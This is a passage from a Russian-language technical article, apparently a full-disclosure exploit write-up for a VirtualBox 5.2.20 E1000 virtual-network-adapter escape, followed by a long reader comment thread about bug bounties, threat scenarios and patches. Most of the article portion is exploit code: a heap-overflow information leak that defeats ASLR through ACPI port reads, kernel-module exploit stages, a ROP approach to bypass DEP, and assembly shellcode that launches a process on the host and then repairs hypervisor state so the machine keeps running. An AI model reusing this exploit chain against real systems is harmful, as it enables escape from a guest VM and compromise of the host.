    uint32_t            uPmTimeB;
    uint32_t            Alignment5;
} ACPIState;

Для него регистрируется обработчик портов ввода/вывода в диапазоне 0x4100-0x410F. В случае порта 0x4107 имеем такой код:


PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb)
{
    RT_NOREF1(pDevIns);
    ACPIState *pThis = (ACPIState *)pvUser;
...
    switch (off)
    {
...
        case SMBBLKDAT_OFF:
            *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx];
            pThis->u8SMBusBlkIdx++;
            pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1;
            break;
...

Когда гостевая ОС исполняет процессорную инструкцию INB с аргументом 0x4107 для чтения одного байта из порта, обработчик берёт байт из массива au8SMBusBlkDat[32] по индексу u8SMBusBlkIdx и возвращает его гостю. Здесь-то и появляется возможность применения write-примитива: поскольку расстояние между блоками кучи для виртуальных устройств не меняется, расстояние от массива EEPROM93C46.m_au16Data до поля ACPIState.u8SMBusBlkIdx фиксированно. Записывая два байта в ACPIState.u8SMBusBlkIdx, мы можем читать произвольные байты на расстоянии 255 байт относительно ACPIState.au8SMBusBlkDat.


Проблема в другом. Если посмотреть на структуру ACPIState, то видно, что массив находится почти в конце структуры, и за ним лежат разве что поле u8SMBusBlkIdx и несколько других полей, совершенно бесполезных для нас. Выходит, что читать из структуры ACPIState мы можем, да нечего. Ну, нам не привыкать, поэтому посмотрим, что лежит в памяти за пределами структуры.


gef?  x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0: 0xffffe98100000090  0xfffd9b2000000000
0x7fc47008d4f0: 0x00007fc470067a00  0x00007fc470067a00
0x7fc47008d500: 0x00000000a0028a00  0x00000000000e0000
0x7fc47008d510: 0x00000000000e0fff  0x0000000000001000
0x7fc47008d520: 0x000000ff00000002  0x0000100000000000
0x7fc47008d530: 0x00007fc47008c358  0x00007fc44d6ecdc6
0x7fc47008d540: 0x0031000035944000  0x00000000000002b8
0x7fc47008d550: 0x00280001d3878000  0x0000000000000000
gef?  x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6: "ACPI RSDP"
gef?  vmmap VBoxDD.so
Start                           End                             Offset                          Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef?  p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

Оказывается, по смещению 0x58 от конца структуры ACPIState лежит указатель на строку, которая находится по определённому RVA от базы VBoxDD.so. Если мы побайтово с помощью примитивов считаем этот указатель и вычтем из него константу, то получим базовый адрес VBoxDD.so и таким образом обойдём ASLR. Единственное, на что нам приходится надеяться, так это на то, что память за пределами структуры ACPIState не будет разной при каждом запуске виртуальной машины. К счастью, так оно и оказалось, по смещению 0x58 от конца ACPIState всегда лежит нужный указатель.


Information Leak


Теперь мы комбинируем две созданные нами уязвимости и эксплуатируем их для обхода ASLR. Будем переполнять кучу, перезаписывая структуру EEPROM93C46, затем стриггерим код EEPROM для записи индекса в структуру ACPIState, после чего выполним процессорную инструкцию INB(0x4107) для обращения к ACPI и чтения одного байта указателя. Всё это повторим восемь раз, каждый раз увеличивая индекс на единицу.


uint64_t stage_1_main(void* mmio, void* tx_ring) {
    printk(KERN_INFO PFX"##### Stage 1 #####\n");

    // When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor 
    // is sent back to the guest and handled right now via e1kHandleRxPacket.
    // When loopback mode is disabled data is sent to a network as usual.
    // We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
    // in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and 
    // the stack buffer.
    e1000_disable_loopback_mode(mmio);

    uint8_t leaked_bytes[8];
    uint32_t i;
    for (i = 0; i < 8; i++) {
        stage_1_overflow_heap_buffer(mmio, tx_ring, i);
        leaked_bytes[i] = stage_1_leak_byte();

        printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
    }

    uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
    uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
    printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
    printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);

    return vboxdd_base;
}

Как было сказано ранее, для того, чтобы уязвимость integer underflow не привела к stack buffer overflow, нужно определённым образом настроить регистры E1000. Суть в том, что буфер переполняется в функции e1kHandleRxPacket, которая вызывается при обработке Tx-дескрипторов только тогда, когда включен loopback-режим. И это понятно: в данном режиме гость отправляет пакеты самому себе, поэтому после отправки они сразу же принимаются. Мы отключаем этот режим, поэтому функция e1kHandleRxPacket становится недостижима.


Обход DEP


Мы обошли ASLR. Теперь можно включать loopback-режим и триггерить уязвимость stack buffer overflow.


void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    off_t buffer_pa;
    void* buffer_va;
    alloc_buffer(&buffer_pa, &buffer_va);

    stage_2_set_up_buffer(buffer_va, vboxdd_base);
    stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

    free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    printk(KERN_INFO PFX"##### Stage 2 #####\n");

    e1000_enable_loopback_mode(mmio);
    stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
    e1000_disable_loopback_mode(mmio);
}

Теперь, когда управление доходит до последней инструкции функции e1kHandleRxPacket, на стеке перезаписан адрес возврата, так что управление будет передано туда, куда угодно нам. Но защита DEP всё ещё на месте. Она обходится классическим способом построения цепочки ROP-гаджетов, которые выделяют исполняемую память, копируют в неё загрузчик шеллкода и вызывают его.


Шеллкод


Загрузчик шеллкода предельно прост. Он копирует начало буфера, который вызвал переполнение, и кладёт рядом с собой. В конце того буфера лежат адреса и данные для ROP-гаджетов, а в начале — сам шеллкод.


use64

start:
    lea rsi, [rsp - 0x4170];
    push rax
    pop rdi
    add rdi, loader_size
    mov rcx, 0x800
    rep movsb
    nop

payload:
    ; Here the shellcode is to be

loader_size = $ - start

Теперь управление получает шеллкод. Вот его первая половина:


use64

start:
    ; sys_fork
    mov rax, 58
    syscall

    test rax, rax
    jnz continue_process_execution

    ; Initialize argv
    lea rsi, [cmd]
    mov [argv], rsi

    ; Initialize envp
    lea rsi, [env]
    mov [envp], rsi

    ; sys_execve
    lea rdi, [cmd]
    lea rsi, [argv]
    lea rdx, [envp]
    mov rax, 59
    syscall

...

cmd     db '/usr/bin/xterm', 0
env     db 'DISPLAY=:0.0', 0
argv    dq 0, 0
envp    dq 0, 0

Делается fork и execve, что создаёт новый процесс /usr/bin/xtem. Атакующий получает контроль над хостом в контексте ring 3.


Process Continuation


Я считаю, что каждый эксплоит должен быть дописан до конца. Это значит, что он не должен крашить программу, хотя понятно, что не всегда это возможно. Нам нужно, чтобы виртуальная машина могла продолжать функционировать, что обеспечивается второй половиной шеллкода.


continue_process_execution:
    ; Restore RBP
    mov rbp, rsp
    add rbp, 0x48

    ; Skip junk
    add rsp, 0x10

    ; Restore the registers that must be preserved according to System V ABI
    pop rbx
    pop r12
    pop r13
    pop r14
    pop r15

    ; Skip junk
    add rsp, 0x8

    ; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
    ; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
    ; After:    "E1000-Xmit" -> NULL

    ; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
    ; This was unnecessary on my testing machines but to be sure...
    mov rdi, [rbx]
    mov rax, 0x0
    mov rcx, 0xA0
    rep stosb

    ; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
    ; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
    ; will be corrupted in MMHyperFree
    mov qword [rbx], 0x0

    ; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

    ret

Суть в том, что при переполнении буфера на стеке мы перезаписали много данных, необходимых гипервизору для функционирования при возврате из функции e1kHandleRxPacket. Поскольку нет ни шансов, ни целесообразности вычислять все данные, которые были перезаписаны ROP-гаджетами, мы сделаем то, что обычно и делается: прыгнем на несколько фреймов вверх и продолжим исполнение, как будто все вызванные функции уже завершились.
Схематично стек вызовов при возврате из e1kHandleRxPacket выглядит так:


#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

Из шеллкода будем прыгать прямо в e1kR3NetworkDown_XmitPending, которая больше ничего не делает и возвращает управление вызвавшей её функции гипервизора:


static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface)
{
    PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown);
    /* Resume suspended transmission */
    STATUS &= ~STATUS_TXOFF;
    e1kXmitPending(pThis, true /*fOnWorkerThread*/);
}

Шеллкод добавляет 0x48 к регистру RBP, чтобы он стал таким, каким должен быть в функции e1kR3NetworkDown_XmitPending. Теперь со стека забираются регистры RBX, R12, R13, R14 и R15, т.к. в соответствии с System V ABI каждая вызываемая функция должна сохранять их нетронутыми. Если этого не сделать, гипервизор упадёт из-за невалидных указателей в этих регистрах.


На этом можно было бы остановиться — виртуальная машина больше не крашится и продолжает нормально работать. Но если попытаться выключить её, получим access violation в PDMR3QueueDestroyDevice. Причина в том что, при переполнении кучи мы перезаписали важную структуру данных PDMQUEUE, причём перезатирают её последние два указателя на ROP-гаджеты, т.е. последние 16 байт в буфере. Сначала я безуспешно пытался уменьшить размер ROP-цепочки, но потом вручную в отладчике подставил правильные данные и всё равно получил краш. Это значит, что быстро от ошибки не отделаться.


Структура данных, которая перезатирается — связанный список. Перезаписываются данные в предпоследнем элементе списка, модифицируя указатель на последний элемент. Идея по исправлению ошибки оказалась проста:


; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

Избавившись от двух последних элементов, виртуальная машина может спокойно выключаться.


Демо


Комментарии (71)


  1. tchspprt
    07.11.2018 11:04
    +2

    IMHO проблема, наверное, в том, что данная уязвимость не имеет практической ценности — для тех гениев, что используют VirtualBox в проде «лицом в сеть» можно найти более простой метод «вскрытия».
    Но статья очень крутая, особенно на фоне других «гениальных» статей за последний месяц в данном хабе.
    Кстати, e1000 — проблема не VBox единого. ЕЯПП эксплойт актуален только для пары VBox x e1000? Хотя вроде бы основное тут — побег из e1000, так что… можно помахать рукой и KVM.


    1. amarao
      07.11.2018 14:04
      +3

      Продакшен — сложный вопрос. Если у программиста в качестве локального стенда virtualbox, а рядом лежит (на его машине) git с продакшеном, а в ~/.ssh находится Много Чего, то можно ли считать, что запуск вредоносного кода из virtualbox — это «на продакшене» или нет?

      Очередной leftpad, на этот раз с sandbox escaping.


      1. tchspprt
        07.11.2018 14:16

        По-моему, у Вас тут интересное условие «в ~/.ssh находится Много Чего», подразумевающее под собой наличие дыры ещё и «в ~/.ssh».


        1. amarao
          07.11.2018 15:09
          +1

          Дыры нет, есть фича:

          ~/.ssh/id_rsa
          ~/.ssh/authorized_keys (дописать своё)
          ~/.ssh/config может содержать упоминания о критических узлах инфраструктуры


          1. tchspprt
            07.11.2018 15:16

            Ну ладно, согласен, неправ. Уязвимость серьёзная. Топикстартеру респекты.


          1. nafgne
            07.11.2018 15:57

            Виртуалбокс разве не от отдельного пользователя бегает, у которого прав на чтение оттуда нет?


            1. amarao
              07.11.2018 16:09

              Вопрос открытый. Я VB не пользуюсь, так что не вижу. qemu я могу и от своего пользователя запускать при необходимости.


            1. JTG
              07.11.2018 17:52

              Видимо, нет. Под убунтой, по крайней мере, так:

              > ps x -u `whoami` | grep virtualbox
              5665 ? S 2:33 /usr/lib/virtualbox/VBoxXPCOMIPCD
              5670 ? Sl 9:02 /usr/lib/virtualbox/VBoxSVC --auto-shutdown
              6247 ? S 0:59 /usr/lib/virtualbox/VBoxNetDHCP --ip-address 192.168.56.100 ...
              26678 ? Sl 71:19 /usr/lib/virtualbox/VBoxHeadless --comment dev-vm ...


          1. Merkat0r
            07.11.2018 19:55
            -1

            а что там может быть такого у обычного программиста?
            А, если уж там внезапно действительно ключ к продакшену — у меня для вас очень плохие новости…


            1. Antigluk
              08.11.2018 00:31

              а если у необычного? или админы не могут запустить виртуалбокс на рабочей тачке для какой-либо цели?


              1. Merkat0r
                08.11.2018 03:14

                Админ локалхоста может, да…

                Кстати, а не обычный, судя по такому кол-во минусов, это какой?


    1. MorteNoir Автор
      07.11.2018 15:00

      IMHO проблема, наверное, в том, что данная уязвимость не имеет практической ценности — для тех гениев, что используют VirtualBox в проде «лицом в сеть» можно найти более простой метод «вскрытия».


      Уязвимость не требует подключения к интернету, важно лишь, чтобы сетевой адаптер E1000 был включён в режиме NAT. Куда уйдут пакеты эксплоита, не имеет значения.

      ЕЯПП эксплойт актуален только для пары VBox x e1000?

      У VirtualBox своя реализация E1000. Не могу сказать, честно говоря, используют ли её другие open source-гипервизоры, нужно смотреть.


      1. tchspprt
        07.11.2018 15:16

        Естественно, что уязвимость не требует подключения к интернету :) только вот без подключения к интернету у неё практически нет сценариев использования. А с подключением оно сводится либо к тому случаю, что описан amarao выше — непредусмотрительность юзера, либо полный швах использование VBox в качестве виртуализации — некомпетентность сисадмина.


        1. JTG
          07.11.2018 18:07
          +5

          практически нет сценариев использования
          Как насчёт
          Привет, Реддит! Я сделал нейросеть, которая убирает пиксели с хентая, вот есть настроенная виртуалка, можете попробовать:

          > sudo apt install virtualbox vagrant
          > vagrant init notavirus/precise64
          > vagrant up
          > Откройте в браузере http://localhost:8888 и загрузите картинку


    1. MetroLur
      07.11.2018 16:03

      Как знать, всё дело в отношении

      2009г — Группе хакеров удалось, используя найденную уязвимость в гипервизоре HyperVM, уничтожить более ста тысяч сайтов. Сразу после этого стало известно о самоубийстве директора Lxlabs — разработчика HyperVM.


  1. slashd
    07.11.2018 11:15
    +2

    Спасибо за подробный разбор уязвимости)
    Сколько времени заняли процессы поиска уязвимости и её эксплуатации?


    1. MorteNoir Автор
      07.11.2018 12:14
      +3

      Два дня на целенаправленный поиск, 14 дней на написание эксплоита до конца.


      1. TimsTims
        07.11.2018 13:01
        +1

        А как вы искали эту ошибку? Целенаправленно читали код драйвера, либо пытались тыкать разные настройки?


        1. MorteNoir Автор
          07.11.2018 15:59
          +4

          Сначала определился, в каком компоненте хочу найти ошибку, а затем начал просто изучать код вручную. Уязвимость показалась очевидной не сразу, я вообще хотел её бросить, т.к. не видел возможности стриггерить её, пока не дошёл до возможности разбиения массива дескрипторов пополам.

          Уже потом ту же ошибку нашёл мой тупейший фаззер за одну секунду в прямом смысле. Но, в принципе, сколько времени потребовалось на то, чтобы найти её вручную, столько же, если не больше, потребовалось бы и для того, чтобы выяснить причину краша, найденного фаззером.


  1. Graphite
    07.11.2018 12:48
    +2

    Во-первых, очень круто, спасибо за подробности.


    Во-вторых, полностью разделяю негодование по поводу текущего состояния дел. Некоторые вендоры ведут себя совершенно неадекватно и, судя по предыстории, Oracle один из них. У меня есть очень похожий негативный опыт (личный и знакомых) с Paypal / Ebay. Исследовать их не буду больше никогда, а если и найду что-то случайно, буду делать full disclosure как и вы.


    В-третьих, не очень понятно как обходится canary при перезаписи RIP/EIP. Оно выключено или просто считывается с помощью arbitrary read?


    1. MorteNoir Автор
      07.11.2018 15:33
      +1

      В-третьих, не очень понятно как обходится canary при перезаписи RIP/EIP. Оно выключено или просто считывается с помощью arbitrary read?


      Вы будете смеяться: в VirtualBox этой защиты нет. Но даже если бы и была, то эксплоит всё равно был бы возможен.


      1. Graphite
        07.11.2018 15:40

        Я понимаю, что эксплойт возможен, т.к. можно читать память. Просто бросилось в глаза, что переписываем EIP/RIP, но не трогаем canary, хотя оно вроде бы уже давно везде всегда включено по умолчанию. А оно вон как оказывается. В общем да, посмеялся :)


  1. ooprizrakoo
    07.11.2018 12:54
    +1

    Вы частично объяснили, почему некоторые багбаунти-программы вызывают у вас раздражение.
    А в случае с Виртуалбоксом у них вообще не было публичной программы?


    1. Graphite
      07.11.2018 13:12

      В новостях пишут вот так:


      This is not the researcher's first vulnerability disclosure in VirtualBox. Earlier this year, he reported another security bug in VirtualBox. It was reported responsibly for version 5.2.10 of the software. For some reason, though, Oracle fixed the problem silently in version 5.2.18 of its hardware virtualization software and did not give credit to the researcher for finding and reporting the vulnerability.

      Увы, есть вендоры которые так себя ведут. Долго игнорировать критичный баг, потом его по-тихому пофиксить без указания авторства — это по меньшей мере свинство.


      1. dartraiden
        07.11.2018 13:23

        Автор не получил свою порцию известности — плохо.
        Другие хотят известности (п.3 претензий в начале поста) — плохо.


        1. Graphite
          07.11.2018 13:51
          +6

          Проблем сразу несколько и известность лишь одна из них.


          1. Критичный баг к которому есть непубличный эксплойт фикситься по-тихому, т.е. даже не сообщается, что исправлена кртическая уязвимость. В итоге об этом знает только вендор, автор эксплойта и еще какие-нибудь злоумышленники. Responsible disclosure это все-таки обоюдный контракт. Эксплойт непубличный, но взамен вендор обязан в разумные сроки исправить проблему и затем сообщить о ее наличии своим клиентам.
          2. Критичный баг исправляется долго. Если бы проблема была публичной, все было бы исправлено намного быстрее, т.е. вендор фактически злоупотребляет этим самым responsible disclosure, чтобы игнорировать проблему.
          3. Критичный баг, переданный в рамках responsible disclosure, исправляется без указания авторства. Указание авторства — это неотъемлемая часть responsible disclosure и она вендором была проигнорирована.

          Что касается п.3 — между "не указывать авторство" и "создать промо сайты" есть много промежуточных вариантов. От упоминания в commit message до создания специального hall of fame. Любой из этих вариантов был бы нормальным с моей точки зрения.


          С другой стороны, маркетинговая истерия, как бы негативно я лично к ней не относился, играет мне на руку. Больше людей начинают думать, что безопасность это серьезно, больше bug bounty программ, проще убедить людей в том, что я как специалист ценен и нужен.


          1. datacompboy
            07.11.2018 14:12
            +2

            Причем главная проблема исправления втихаря: пользователи даже не знают, что уязвимы


  1. Graphite
    07.11.2018 13:12

    del


  1. Gordon01
    07.11.2018 13:17
    -2

    Нужно быть очень странной личностью, чтобы использовать VirtualBox в продакшене.
    Microsoft Hyper-V сервер бесплатен.


    1. SergeyMax
      07.11.2018 14:38
      -2

      Почему минусят комментарий? ВиртуалБокс — это же чисто десктопная приложуха, без каких-либо серверных задатков.


      1. Nalivai
        07.11.2018 18:48
        -1

        Что вы понимаете под серверными задаками?


        1. SergeyMax
          07.11.2018 20:31

          Удалённое управление несколькими гипервизорами из одной консоли, отсутствие потребности в дополнительно устанавливаемой отдельной хостовой ОС, лайв миграция, репликация между инстансами, в общем всё то, что нужно для того, чтобы работа сисадмина не была похожа на обезьянью.


          1. lokkiuni
            07.11.2018 20:47

            Это не единственная модель использования ВМ, скажем так.


            1. SergeyMax
              07.11.2018 21:35
              +1

              Да, не единственная. Но ведь я именно об этом и сказал.


          1. Nalivai
            08.11.2018 13:45

            Это уже не задатки, это вы полноценный сервер описываете, и виртуалбокс, конечно, не оно. Именно что с задатками — возможностями запуска виртуалок по скриптам с headless mode, с кое-какой метрикой, но не сильно больше.


  1. darksshvein
    07.11.2018 15:30

    ээ. эээ. серьёзно? вы используете виртуалбокс для продакшена?


    1. CaptainFlint
      07.11.2018 15:36
      +6

      А при чём тут продакшен? Все в комментариях что-то ругаются про продакшен. Использовать VB на домашней машинке для пробного запуска сомнительных приложений — уже даже не рассматривается?


      1. tchspprt
        07.11.2018 15:49
        +6

        Мой мозг забыл о сценарии использования виртуализации как «песочницы», к сожалению. Забираю все свои дилетантские слова обратно.


      1. BaLaMuTt
        07.11.2018 19:13
        -1

        В 10-ке для этого есть встроный Hyper-V. Да и VmWare Workstation Player для некоммерческого использования дома бесплатен. Зачем виртуалбокс?


        1. CaptainFlint
          07.11.2018 19:44
          +1

          Странный вопрос. А зачем вообще нужны альтернативы? У кого-то Windows 7 или 8; кому-то интерфейс VB удобнее; кому-то возможности нужны такие, которых нет в перечисленных программах; кому-то нужно не дома, а на работе, а на лицензию vmWare раскошеливаться не хочется… Ну и тот же vmWare Player, я сейчас посмотрел таблицу сравнения: снэпшотов нет, одновременного запуска нескольких машин нет, клонирования машин нет… Ну и нафига оно, если изначально бесплатный и open-source'ный VirtualBox умеет всё это и многое другое, да ещё позволяет работать в коммерческом окружении?


        1. nobletracer
          07.11.2018 20:00
          +1

          Зачем Hyper-V, который только вышел и позволяет одновременно запустить только 2 машины(это не точно), когда есть испытанный годами виртуалбокс?

          Здесь вопрос пристрастий. Кому что больше нравится.


          1. Merkat0r
            07.11.2018 20:07
            -1

            Разница в выпуске у них, если что, буквально полгода. Изначальный таргет у них разный


            1. Merkat0r
              08.11.2018 03:18

              Хмм, хоть бы кто отписал из минусующих, что вдруг не так оказалось :)


        1. Vilgelm
          08.11.2018 11:19

          Есть другие ОС кроме Windows. VmWare на Linux работает менее стабильно, чем VirtualBox. В бесплатных альтернативах также хуже реализована работа с виртуальными адаптерами на хосте (это бывает нужно, например, для создания «непробиваемого» VPN по типу Whonix). Через VirtualBox работает Genymotion и куча другого подобного софта. VirtualBox в ряде случаев бесплатен для коммерческого использования (то есть можно где-нибудь в офисе быстренько поднять виртуалку с XP для софта, который на более новых ОС не работает). В VirtualBox для Linux есть seamless mode, который из VmWare выпилили (Unity он назывался, был впрочем удобнее seamless). Причин много.


        1. khanid
          08.11.2018 11:47

          При всей моей любви MS стэка и hyper-v. Последний не работает, если десктопная ос установлена на xeon, например. Оно просить i3/i5/i7, если речь об интеле.


          1. BaLaMuTt
            08.11.2018 18:40

            Xeon то какой бы хоть написали)


    1. navion
      07.11.2018 15:44
      +3

      В VMware нашли похожую дыру, правда пока без подробностей.


      1. navion
        09.11.2018 16:48
        +1

        У них дыру нашли в vmxnet3:

        ESXi has uninitialized stack memory usage vulnerability in the vmxnet3 virtual network adapter that might allow a guest to execute code on the host. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the identifier CVE-2018-6981 to this issue.


  1. kladus
    07.11.2018 19:34

    Так и не понял чем плох VB в качестве серверного решения


    1. BaLaMuTt
      07.11.2018 20:09

      В качестве серверного гипервизора его обычно не используют ибо для этого есть как куча бесплатных альтернатив вроде QEMU которым достаточно какого-нибудь серверного линя, так и проприетарные, но бесплатные решения вроде того же VMware vSphere Hypervisor или Hyper-V Server. А для VB ещё надо будет какой-нибудь гуй крутить на сервере что лишнее потребление оперативной памяти.


      1. CaptainFlint
        07.11.2018 20:40
        +3

        На всякий случай, FYI: VB может работать и в чистом терминале, без графики. VBoxManage для управления настройками и машинами, опция для headless-старта, а для доступа к терминалу или рабочему столу виртуалки — RDP.
        Конечно, это не целевой сценарий, для такой ситуации серверные системы со всякми virt-manager'ами или веб-мордами удобнее, но при необходимости работать можно.


        1. sHaggY_caT
          08.11.2018 05:08

          Я и на десктопе использую KVM/Libvirt (вместе с PCI-passthrough видеокарты с Linux хоста в Windows виртуалку)


          1. nanshakov
            09.11.2018 17:34

            а какой процессор нужен для PCI-passthrough?


            1. sHaggY_caT
              10.11.2018 01:33

              у меня Xeon, а так вообще i7/i5/r3-r7/threadripper. Вопрос больше в материнской плате — там должно быть всё нормально с IOMMU.


  1. nata16k8
    07.11.2018 19:51

    Преподаватель. Общаюсь по e-mail со студентами. Год назад «украли» тесты-контрольные работы. Теперь выхожу в интернет только через VirtualBox. Хосту запрещен выход в роутере. В первом посте упоминались «простые» способы обхода такой защиты. Не подскажете, где почитать об этом?


    1. mhspace
      07.11.2018 22:38

      Попробуйте QubesOS.


    1. SergeyMax
      08.11.2018 12:24

      Я думаю, что если кто-то из виртуалбокса стащит тесты, то ему можно диплом автоматом выдавать.


  1. maydjin
    08.11.2018 02:09
    +1

    Это того сорта статья, ради которых я зарегался когда-то на хабре. Огромное спасибо, получил большое удовольствие от прочтения. Спасибо за проделанный труд, жаль, что как я понял, он не был достойно вознаграждён.


  1. VitalityM
    08.11.2018 07:52

    Отличная работа, автору большой респект. В каких ещё компонентах VB вы бы порекомендовали поискать уязвимости (с расчётом на фаззинг)?
    Жаль, что работа осталась без вознаграждения. Как насчет Zero Day Initiative, они не выплачивают Bug Bounty за VirtualBox?


    1. MorteNoir Автор
      08.11.2018 22:44

      В каких ещё компонентах VB вы бы порекомендовали поискать уязвимости (с расчётом на фаззинг)?

      В любом виртуальном устройстве. В 3D-ускорителе Chromium недавно было много багов, сейчас уже гораздо меньше, так что не вижу смысла тратить на него время. Ещё можете поискать в бинарниках из Extension Pack, их тоже никто не исследовал.

      Как насчет Zero Day Initiative, они не выплачивают Bug Bounty за VirtualBox?

      Выплачивают, так что можете спокойно продавать свои уязвимости там. Но пункты 2.1-2.4 я взял не из воздуха, если что.


      1. VitalityM
        08.11.2018 23:28

        Не думали выступить на BlackHat/DefCon с детальным докладом по этой уязвимости + озвучить перед хакерских сообществом свою позицию по Bug Bounty?


        1. MorteNoir Автор
          09.11.2018 01:03
          +1

          Да бросьте, таких уязвимостей и эксплоитов — вагон и маленькая тележка. На конференциях нужно излагать что-то принципиально новое, я считаю. По поводу позиции, о ней уже услышали, так что повторять это ещё раз тоже не считаю нужным; к тому же, я не обладаю каким-то весом в ИБ, чтобы донести свою мысль до публики иначе, чем таким анархистским full disclosure.


          1. VitalityM
            09.11.2018 01:18
            +1

            Хм, тут я не согласен. Был на BlackHat и выступал Defcon в этом году, могу вам точно сказать, что ваш доклад был бы интересен слушателям, да и придумать что то принципиально новое не просто. Тем более это основная тема как минимум для DefCon! Конечно там были супер доклады про ring-2 уязвимости процессора, но основная масса, это обычный рисерч, иногда довольно слабый.


            1. MorteNoir Автор
              09.11.2018 22:23

              Не скинете ссылку на ваш доклад? По имени вас в списке спикеров найти не получилось. Интересно было бы посмотреть.


              1. MorteNoir Автор
                09.11.2018 22:59

                Заголовок спойлера
                Сорри, нашёл, не по тому имени искал. Жаль, что нельзя редактировать комментарии после некоторого времени.


  1. gopotyr
    08.11.2018 09:58
    +1

    Ключевое слово — NAT. Я один этим в VB не пользуюсь? 2 виртуальных сетевухи. Одна через бридж в мир, вторая локальная подсетка VB.


    1. vesper-bot
      08.11.2018 12:11

      Ну, если мир внезапно PPPoE, то бридж не погородишь, айпишников обычно нет (дают /30) и придется натом.


      1. qw1
        08.11.2018 15:16

        Поднимать PPPoE на рабочей станции это как-то неправильно.
        Нужно поднимать на роутере, и на нём же NAT-ить. В этом случае у виртуальной машины будет серый IP, из той же подсети, что и у хоста.


  1. spkody
    08.11.2018 11:52

    Считается нормальным ждать патча для уязвимостей по полгода, если только эти баги уже не в публичном доступе.

    Не пойму, а какая вам разница? Взял деньги и гуляй, или вы «болеете» за продукт? Определитесь сначала со своей мотивацией.

    В области bug bounty-программ считается нормальным.

    Не нравятся bug bounty не участвуйте в них, продавайте сплоиты в тени, в чём проблема-то?

    Мания величия и маркетинговая чушь: давать названия уязвимостям и создавать для них сайты; проводить тысячу конференций в год; преувеличивать важность своей работы; считать себя «спасителем мира». Спуститесь на землю, Ваше высочество.

    Это прикол такой, типа вторая личность в голове заговорила? Всем этим дерьмом, в первую очередь занимаются сами рисечеры. Мания величия — это предисловие, что по вашему? Посмотрите комменты ниже, вам уже начинают поклоняться.


  1. Nokta_strigo
    09.11.2018 21:11
    +1

    Сегодня выкатили новый релиз VirtualBox 5.2.22. Но в changelog про эту уязвимость вроде ничего нет. Она пока не пофикшена?


    1. MorteNoir Автор
      09.11.2018 22:28
      +1

      Да, уязвимость пофиксили, но в changelog о ней ничего не написали. Как я успел заметить, у Oracle это нормальная практика — не писать об уязвимостях ничего, пока не выйдет Critical Patch Update. По крайней мере, это касается VirtualBox.

      Немного больше деталей о том, как исправили баг: github.com/MorteNoir1/virtualbox_e1000_0day/issues/12